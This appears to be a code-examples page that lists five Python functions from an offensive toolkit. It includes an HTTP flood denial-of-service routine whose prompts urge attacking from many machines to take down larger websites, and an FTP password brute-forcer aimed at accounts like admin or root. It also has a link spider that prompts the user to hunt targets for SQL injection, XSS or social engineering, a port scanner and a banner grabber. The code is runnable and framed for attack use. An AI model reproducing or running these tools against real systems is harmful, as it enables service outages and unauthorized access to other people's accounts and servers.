Exemplo n.º 1
0
def dos(host):
    clear_scr()

    print(
        "[*]This program will use HTTP FLOOD to dos the host.\n[*]It would work only on small websites if done only for one computer.\n[*]To take down larger websites run the attack from multiple computers.\n[*] For better performance open multiple instances of this software and attack at the same time.\n"
    )
    print("[*]Host to attack: " + host)
    ip = socket.gethostbyname(host)
    print("[*]IP of the host: " + ip + "\n\n")
    conn = input(
        "Enter the number of packets to be sent(depends on the site but should be more than 2000 or 3000 for average sites): "
    )
    conn = int(conn)

    for i in range(conn):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        except:
            print("Unable to create Socket. Retrying.")
            continue
        try:
            s.connect((ip, 80))
        except:
            print("Unable To Connect. Retrying.")
            continue
        print("[*]FLOODING!")
        s.send("GET / HTTP/1.1\r\n".encode())
        s.send("Host: ".encode() + host.encode() + "\r\n".encode())
        s.send("User-Agent: ".encode() + choice(user_agents).encode() +
               "\r\n\r\n".encode())
        s.close()
Exemplo n.º 2
0
def ftp(server):
    clear_scr()

    print(
        "[*]Put the password file in the same directory.\n[*]The passwords should be on different lines.\n"
    )
    passwords = ask_file().read_text().splitlines()
    username = input("Enter the username to hack(eg: admin, root): ")

    server = socket.gethostbyname(server)
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except:
        return print("Unable to create Socket.")
    try:
        s.connect((server, 21))
    except:
        return print("Unable To Connect.")
    data = s.recv(1024)
    for password in passwords:
        s.send('USER '.encode() + username.encode() + '\r\n'.encode())
        data = s.recv(1024)
        s.send('PASS '.encode() + password.encode() + '\r\n'.encode())
        data = s.recv(1024).decode()
        print(data)
        print("[*] Tried: " + password + "\n")
        if "230" in data:
            print("password found\n")
            return print("[*] Password is: " + password)
        else:
            print('[*] ' + password + " is incorrect")
    s.send("Quit\r\n".encode())
    s.close
    print("No password Found. Try another word list or username.")
Exemplo n.º 3
0
def spider(host):
    clear_scr()

    print("[*] Use the result to find promising URLs/Emails to try hacking using SQL injection or Xss or Social Engineering etc.\n[*] Depth is the level to go inside the website( usually a small integer ).\n[*] Output will also be saved in text files in the same folder as this software.\n")
    depth = input("Enter the depth level in numbers: ")
    count = 1
    href_pattern = re.compile('''href=["'](.[^"']+)["']''')
    url = "http://"+host
    with Path(f"depth1.txt").open('w') as out_file:
        for i in href_pattern.findall(str(urllib.request.urlopen(url).read()), re.I):
            if "http" not in i:
                i = "http://"+host+i
            print(i)
            out_file.write(i+'\n')
    while(count < int(depth)):
        with Path("depth"+str(count)+".txt").open() as read_file:
            with Path("depth"+str(count+1)+".txt").open("w+") as write_file:
                read = read_file.read().splitlines()
                if not read:
                    print("\n****Finished****")
                    return depth
                for link in read:
                    if "http" not in link:
                        link = "http://"+host+link
                    try:
                        for k in href_pattern.findall(str(urllib.request.urlopen(link).read()), re.I):
                            print(k)
                            write_file.write(k+"\n")
                    except:
                        continue
        count += 1
    return depth
Exemplo n.º 4
0
def scanner(host):
    clear_scr()
    print("Choose the type of scan:")
    print(
        "1. Full Port Scan(1-65535) \n2. Specific port range\n3. Single Port \n4. Most popular ports"
    )
    type_of_scan = int(input("Enter Your Choice: "))
    if type_of_scan == 1:
        ports = list(range(1, 65535))
    elif type_of_scan == 2:
        port1 = int(input("Enter starting port: "))
        port2 = int(input("Enter ending port: "))
        port2 += 1
        ports = list(range(port1, port2))
    elif type_of_scan == 3:
        ports = []
        ports.append(int(input("Enter the port to scan: ")))
    elif type_of_scan == 4:
        ports = [
            1, 5, 7, 18, 20, 21, 22, 23, 25, 43, 42, 53, 80, 109, 110, 115,
            118, 443, 194, 161, 445, 156, 137, 139, 3306
        ]
    else:
        print("[*] Wrong choice entered!")
        input()
        return
    clear_scr()
    t1 = datetime.now()
    socket.setdefaulttimeout(2)
    print("[*] Scanning " + host)
    print("[*] Starting Scanning at " + str(t1))
    host = socket.gethostbyname(host)
    print("[*] IP of host: " + host)

    try:
        for port in ports:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            result = sock.connect_ex((host, port))
            if result == 0:
                print("Port {}: \t Open".format(port))
            sock.close()

    except KeyboardInterrupt:
        return print("You pressed Ctrl+C")
    except socket.gaierror:
        return print('Hostname could not be resolved. Exiting')
    except socket.error:
        return print("Couldn't connect to server")

    t2 = datetime.now()
    timetaken = t2 - t1
    print("[*] Scanning ended at: " + str(t2) + "\n")
    print("[*] Time taken= " + str(timetaken))
Exemplo n.º 5
0
def banner(host):
    clear_scr()

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except:
        "Error"
    host = socket.gethostbyname(host)
    port = int(input("[*] Enter the port of the service: "))
    try:
        s.connect((host, port))
        print("[*] connection successfull\nWaiting for the banner...\n")
        if port == 80:
            msg = 'HEAD / HTTP/1.0\r\n\r\n'
            msg = msg.encode()
            s.send(msg)
        data = s.recv(1024)
        print("Banner:\n" + data.decode())

        s.close()
    except Exception as e:
        print(e)